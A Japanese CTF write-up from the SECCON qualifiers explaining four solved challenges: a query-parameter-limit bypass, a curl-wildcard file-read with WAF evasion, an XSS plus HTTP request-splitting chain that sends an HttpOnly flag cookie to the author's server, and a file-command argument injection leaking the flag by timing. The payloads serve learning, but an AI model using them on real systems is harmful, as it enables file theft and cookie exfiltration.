SECCON CTFの予選に @Iwancof_ptrさん @miso_2324さん @_k4non さんとチームDouble Lariatで出場して全体33位/726チーム、国内7位/356チームでした。国内10位に入ったので国内決勝に出場です!解けた問題について解説していきます。
他のメンバーのWriteup
Web
skipnix [100pt, 102 solves]
nginxが間に挟まったWebサーバーが動いています。
# nginx.conf server { listen 8080 default_server; server_name nginx; location / { set $args "${args}&proxy=nginx"; proxy_pass http://web:3000; } }
nginxによりバックエンドに渡されるときにURLのクエリに&proxy=nginx
という文字列が追加されるようです。バックエンドのコードを見てみましょう。
const app = require("express")(); const FLAG = process.env.FLAG ?? "SECCON{dummy}"; const PORT = 3000; app.get("/", (req, res) => { req.query.proxy.includes("nginx") ? res.status(400).send("Access here directly, not via nginx :(") : res.send(`Congratz! You got a flag: ${FLAG}`); }); app.listen({ port: PORT, host: "0.0.0.0" }, () => { console.log(`Server listening at ${PORT}`); });
req.query.proxy.includes("nginx")
がFalsyであればフラグが表示されるようです。nginxによる&proxy=nginx
によって通常はこの条件はTrueになるので、なんとかしてFalseにさせる必要があります。
Expressのreq.query
はパーサーにqsというライブラリを利用していて、このパーサーはクエリにオブジェクトを与えることができます。まずこれを利用して変な値を入れ、includes
を回避できないか調べました。
例えば、/?proxy[a]=b
にアクセスすれば(nginxにより&proxy=nginx
が追加されて)このようにreq.proxy
が辞書になります。
{ proxy: { a: 'b', nginx: true } }
しかし、当然ながら.includes
が生えていないためエラーで終わります。他にもメゾッドを書き替えてみたりしても変な挙動が起きる気配がありません。
モンキーテストじゃ限界があるのでqsのソースコードを見に行きます。しかし、怪しい箇所を見つけることはできませんでした。(カス)
じゃあ既知のバグを使うのかなと思ったのでGitHubのIssueを見ると、このIssueが目に止まりました。
a=b&a=c&a=...
という形のクエリではarrayLimitが無視されるというバグです。これで変な挙動起きないかな~という気持ちでとりあえず以下のようなリクエストを送りました。
>>> requests.get("http://skipinx.seccon.games:8080/?" + "proxy=1&" * 1000).text 'Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}'
よくわからないけどフラグを得ることができました。実際はこのIssueは関係なくて、parameterLimitというオプションにより、クエリの解析上限がデフォルトで1000個に設定されていたのが原因だったようです。READMEにも載ってるのに目を滑らせてしまった……
For similar reasons, by default qs will only parse up to 1000 parameters. This can be overridden by passing a
parameterLimit
option:var limited = qs.parse('a=b&c=d', { parameterLimit: 1 }); assert.deepEqual(limited, { a: 'b' });
SECCON{sometimes_deFault_options_are_useful_to_bypa55}
easylfi [124pt, 62 solved]
from flask import Flask, request, Response import subprocess import os app = Flask(__name__) def validate(key: str) -> bool: # E.g. key == "{name}" -> True # key == "name" -> False if len(key) == 0: return False is_valid = True for i, c in enumerate(key): if i == 0: is_valid &= c == "{" elif i == len(key) - 1: is_valid &= c == "}" else: is_valid &= c != "{" and c != "}" return is_valid def template(text: str, params: dict[str, str]) -> str: # A very simple template engine for key, value in params.items(): if not validate(key): return f"Invalid key: {key}" text = text.replace(key, value) return text @app.after_request def waf(response: Response): if b"SECCON" in b"".join(response.response): return Response("Try harder") return response @app.route("/") @app.route("/<path:filename>") def index(filename: str = "index.html"): if ".." in filename or "%" in filename: return "Do not try path traversal :(" try: proc = subprocess.run( ["curl", f"file://{os.getcwd()}/public/{filename}"], capture_output=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout" if proc.returncode != 0: return "Something wrong..." return template(proc.stdout.decode(), request.args)
問題名からわかる通りいかにもfilename
がcurlのfile://
パスにそのまま結合されているので、LFIができそうな形です。しかし、..
と%
がチェックされてるので普通にLFIはできなさそうですね。
最初はエンコードやUnicode正規化などでチェックをバイパスできないか試しましたが無理そうでした。curl特有で何かあるかと考えたところ、前に調べたwildcardの存在を思い出します。curlにはshell-likeなワイルドカードがあり、{}
や[]
を使ってURLに同時にアクセスしたりすることができます。
これを使い..
を{.}{.}
にすればチェックのバイパスができます。これでLFIができるようになりました。
しかし、WAFによりレスポンスにSECCON
が含まれているとファイルの中身を見ることができません。LFIで取得した文字列がtemplate
関数で処理されるのを利用してSECCON
を消しましょう。
template
関数はkeyの文字列をvalueに置換するだけのシンプルなものです。keyはvalidate
関数により文字列が{key}
という形であるかどうかチェックされます。
SECCONを消すために{SECCON}
という形を作りたいですが、フラグフォーマット上不可能なように思えます。しかし、よく見るとvalidate
関数にバグがあります。
関数はkeyを1文字ずつ見てi=0なら{
、i=n-1なら}
かどうかをチェックしています。しかし、keyが1文字しかない場合を考えてみると、i=0とi=n-1が被ってしまい、結果的にi=0のチェックしか走りません。つまり、{
はvalidなkeyとして認識されます。
{=}{
という置換を考えると、SECCON{...}
がSECCON}{...}
となります。あとはSECCONの前に{
を作ることができたら勝ちです。
これはcurlのwildcardを使えば十分です。{
を含むファイルを探して、{/path/to/file, flag.txt}
という形にすればcurlが両方のファイルを展開してくれます。普通に配布されてるファイルを使えばいいのですが、何故か「括弧といえばC言語だろ!」と考えて謎に/usr/share/libtool/lt__alloc.c
を使いました。
http://easylfi.seccon.games:3000/{.}{.}/{.}{.}/{usr/share/libtool/lt__alloc.c,flag.txt}
にアクセスすると、レスポンスは次のようになります。
... char * lt__strdup (const char *string) { return (char *) lt__memdup (string, strlen (string) +1); } --_curl_--file:///app/public/../../flag.txt SECCON{dummy}
まず関数部分を置換して{
を作り、{=}{
でSECCON}
を作り、SECCONを含む部分を置換すればWAFをbypassでき、フラグを獲得できます。最終的なURLはこのようになります。
http://easylfi.seccon.games:3000/%7B.%7D%7B.%7D/%7B.%7D%7B.%7D/%7Busr/share/libtool/lt__alloc.c,flag.txt%7D?{%0A%20%20return%20(char%20*)%20lt__memdup%20(string,%20strlen%20(string)%20%2B1);%0A}={&{=}{&{%0A--_curl_--file:///app/public/../../flag.txt%0ASECCON}=HOGE
SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
bffcalc [149pt, 41 solves]
backend, bff, bot, nginx, reportの五つのサーバーが動いています。nginxはreportとbffへのプロキシ、reportは同一IPに対するリクエスト制限用なので重要なのはbot, bff, backendです。
bot: Cookieにフラグを含んだクローラーが動いていて、参加者が指定したURLにアクセスさせることができます。このCookieにはHttponlyがついているのでXSSで直接抜くことはできません。
bff: nginxとbackendを繋ぐプロキシです。次のプログラムが動いています。
import cherrypy import time import socket def proxy(req) -> str: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("backend", 3000)) sock.settimeout(1) payload = "" method = req.method path = req.path_info if req.query_string: path += "?" + req.query_string payload += f"{method} {path} HTTP/1.1\r\n" for k, v in req.headers.items(): payload += f"{k}: {v}\r\n" payload += "\r\n" sock.send(payload.encode()) time.sleep(.3) try: data = sock.recv(4096) body = data.split(b"\r\n\r\n", 1)[1].decode() except (IndexError, TimeoutError) as e: body = str(e) return body class Root(object): indexHtml = open("index.html").read() @cherrypy.expose def index(self): return self.indexHtml @cherrypy.expose def default(self, *args, **kwargs): return proxy(cherrypy.request) cherrypy.config.update({"engine.autoreload.on": False}) cherrypy.server.unsubscribe() cherrypy.engine.start() app = cherrypy.tree.mount(Root())
backendへ生のHTTPリクエストを組み立てて通信しています。また、index.htmlもここで返しています。
backend: 次のようなプログラムが動いています。
import cherrypy class Root(object): ALLOWED_CHARS = "0123456789+-*/ " @cherrypy.expose def default(self, *args, **kwargs): expr = str(kwargs.get("expr", 42)) if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr): return str(eval(expr)) return expr cherrypy.config.update({"engine.autoreload.on": False}) cherrypy.server.unsubscribe() cherrypy.engine.start() app = cherrypy.tree.mount(Root())
exprというパラメータを受け取り、計算して返すサーバーです。evalがありますが文字種はALLOWED_CHARSしか許可されておらず、悪いことはできません。計算できない場合は文字列をそのまま返すようです。
脆弱性は二つあります。
- index.html内のDOM XSS
/?expr=<img src onerror=alert(1)>
のような形で普通にXSSできます。前述した通りFlag CookieはHttponlyなのでこれだけでフラグは得られません。
- HTTP Response Splitting
bffのreq.path_info
はURLデコードが行われるようなので、/HOGE%0D%0AFUGA
のようなリクエストを送るとbffからbackendに送るHTTP RequestにInjectionが発生します。
bff_1 | PAYLOAD START
bff_1 | GET /HOGE
bff_1 | FUGA HTTP/1.1
bff_1 | Remote-Addr: 172.31.0.6
bff_1 | Remote-Host: 172.31.0.6
つまり、「XSSとHTTP Response Splittingがあるので、HttponlyなCookieを盗んでください」という問題です。
backendはexprというパラメータをそのまま返すサーバーとして扱えるので、それでCookieをレスポンスに含めさせれば良さそうです。GETパラメータのままでは無理があるのでレスポンスを分割して、POSTリクエストに変更させましょう。そしてContent-Type:application/x-www-form-urlencoded
をつければ、body中にexpr=...Cookie: SECCON{dummy}...;
の状態を作ればフラグが表示できそうです。(お気持ちでつけたけどContent-Type
は実はいらないっぽい?)
しかし、途中に;
を含むヘッダーがあるとうまくいきません。botが通常送信するHTTPリクエストを見てみましょう。
bff_1 | GET /api?expr=hoge HTTP/1.1 bff_1 | Remote-Addr: 172.31.0.6 bff_1 | Remote-Host: 172.31.0.6 bff_1 | Connection: upgrade bff_1 | Host: nginx bff_1 | X-Real-Ip: 172.31.0.5 bff_1 | X-Forwarded-For: 172.31.0.5 bff_1 | X-Forwarded-Proto: http bff_1 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 bff_1 | Accept: */* bff_1 | Referer: http://nginx:3000/ bff_1 | Accept-Encoding: gzip, deflate bff_1 | Accept-Language: en-US,en;q=0.9 bff_1 | Cookie: flag=SECCON{dummydummy}
User-Agent
のX11;
、Accept-Language
のen;
があるのでパスからexpr=
をつけたところで途中の;
で区切られてexprがCookieには到達できません。これをなんとかする必要があります。
User-Agent
はForbidden header nameで、JavaScript側で変更することができないヘッダーなので、これを変えるのは非現実的です。その下のヘッダーで変更できるものはないか?と考えると、Refererが変更できることに気が付きます。
Referer
はForbidden header nameですが、実は同一オリジンの範囲ならfetchから変更できます。(競技中は以下を見て把握したけど正確な仕様は追えてないです)
つまり、Referer
の末尾に;expr=
をつけることでexprをそこから始めさせることができます。Accept-Language
もありますが、これはForbidden header nameではないのでJavaScriptから操作することができます。じゃあReferer
じゃなくて最初からAccept-Language
に;expr=
つければいいのでは?その通りです……(競技中は深夜の集中力で気付きませんでした)
競技中に書いたペイロードは次のようになります。これをreportすればフラグがサーバーに降ってきます。(多少整形してあります)
<img src onerror='fetch( "/%20HTTP%2F1.1%0D%0AConnection%3A%20continue%0D%0AHost%3A%20example.com%0D%0A%0D%0APOST%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20example.com%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%20465%0D%0A%0D%0Ahoge=%3D%0A", { referrer: location.origin+"?;expr=", headers: {"Accept-Language": ""}} ) .then(res=>res.text()) .then(data=>navigator.sendBeacon("http://MYSERVER:9090/",data))'>
backendへのHTTP Requestは以下のようになります。(hoge==
って何?どこでつけたか覚えてません……)
bff_1 | GET / HTTP/1.1 bff_1 | Connection: continue bff_1 | Host: example.com bff_1 | bff_1 | POST / HTTP/1.1 bff_1 | Host: example.com bff_1 | Content-Type:application/x-www-form-urlencoded bff_1 | Content-Length: 465 bff_1 | bff_1 | hoge== bff_1 | HTTP/1.1 bff_1 | Remote-Addr: 172.31.0.6 bff_1 | Remote-Host: 172.31.0.6 bff_1 | Connection: upgrade bff_1 | Host: nginx bff_1 | X-Real-Ip: 172.31.0.5 bff_1 | X-Forwarded-For: 172.31.0.5 bff_1 | X-Forwarded-Proto: http bff_1 | Accept-Language: bff_1 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 bff_1 | Accept: */* bff_1 | Referer: http://nginx:3000/?;expr= bff_1 | Accept-Encoding: gzip, deflate bff_1 | Cookie: flag=SECCON{dummydummy}
SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}
Misc
txtchecker [193pt, 23 solves]
以下のプログラムがSSH先で動いています。
#!/bin/bash read -p "Input a file path: " filepath file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null # TODO: print the result the above command. # $? == 0 -> It's a text file. # $? != 0 -> It's not a text file. exit 0
入力したパスに対してfileコマンドを実行し、ASCII Textであるかどうか判定してくれるプログラム…のようですが出力部分が実装されてません。
こんなんでどうしろと...?と初見で思いましたが、色々試していると$filepath
にオプションを入れられることに気付きます。file "$filepath"
ではなくfile $filepath
なので、空白区切りで引数をいくらでも入れられるみたいです。このあたりの仕様全然わかってない……。
fileのオプションを調べていくと、Magic number fileというのを指定できることがわかります。
-m, --magic-file LIST use LIST as a colon-separated list of magic number files
検索すると、man magic
でフォーマットの詳細を見ることができるみたいです。調べていくと、このような形でパターンマッチングができることがわかります。
# 開始位置 タイプ 引数 ファイルタイプの文字列 0 string SECCON{ hoge
使えるタイプを調べていくと、regexが使えることがわかりました。ReDoSできるじゃん!と思ったけど、集中力がなく一般的な文字列に対して効果的にReDoSをする方法がわかりませんでした……
helpを見ているときもう一つ気になったのが、-P
オプションです。
-P, --parameter set file engine parameter limits indir 15 recursion limit for indirection name 30 use limit for name/use magic elf_notes 256 max ELF notes processed elf_phnum 128 max ELF prog sections processed elf_shnum 32768 max ELF sections processed
recursion limit
とあるので、-P indir=10000
のように再帰上限を引き上げてindirect
で再帰させれば処理を遅延させられそう……と思いましたがindirect
は情報が少なく挙動を把握できませんでした。代わりにname/use
の再帰についてもfileのソースコードにあるサンプルを見ながら試したところ、こちらは成功しました。以下のようなマジックナンバーファイルをfileコマンドに渡すと、regexがマッチしないときは即座に終了、マッチしたときは再帰に入り遅延が発生します。.*?...
については処理を重くさせるためにつけてます。
0 name re >0 regex .*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?NONE hoge >0 regex .*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?NONE hoge >0 use re 0 regex SECCON\\{A Matched >0 use re
このMagic number fileを使ってフラグを一文字ずつleakすることができます。当然サーバーにこのファイルはないのでこのファイルを-m
で指定するのは不可能なように思えますが、/dev/stdin
を使えば標準入力からファイルを読み込むので、ファイルをコピペした後にEOFを送ればうまく動作します。
exploitは以下のようになります。pwntoolsでSSH越しに通信しようとしても方法がわからずうまくいかなかったので、半自動化する方向でやりました。
CakeCTF 2021 - rflagを参考に2分探索のように探索回数を削減しています。
from string import ascii_letters,digits import os characters = ascii_letters + digits + "_" print(characters) flag = "reDo5L1fe\\\\}" while 1: charset = characters while len(charset) != 1: charset1 = charset[:len(charset)//2] charset2 = charset[len(charset)//2:] print(charset1, charset2) magic=f"""-P name=10000 -m /dev/stdin /flag.txt 0 name re >0 regex .*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?NONE hoge >0 regex .*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?NONE hoge >0 use re 0 regex SECCON\\\\{{{flag} OK >0 use re """ with open("/tmp/magic", "w") as f: f.write(magic) os.system("cat /tmp/magic | clip") os.system("sshpass -p ctf ssh -oStrictHostKeyChecking=no -oCheckHostIP=no ctf@txtchecker.seccon.games -p 2022") check = input("late?: ") if check == "y": charset = charset1 else: charset = charset2 flag += charset[0]
SECCON{reDo5L1fe}
感想
チームメンバーが強くて決勝に進むことができました。チームに感謝……!
初めてのオンサイトCTFで楽しみです。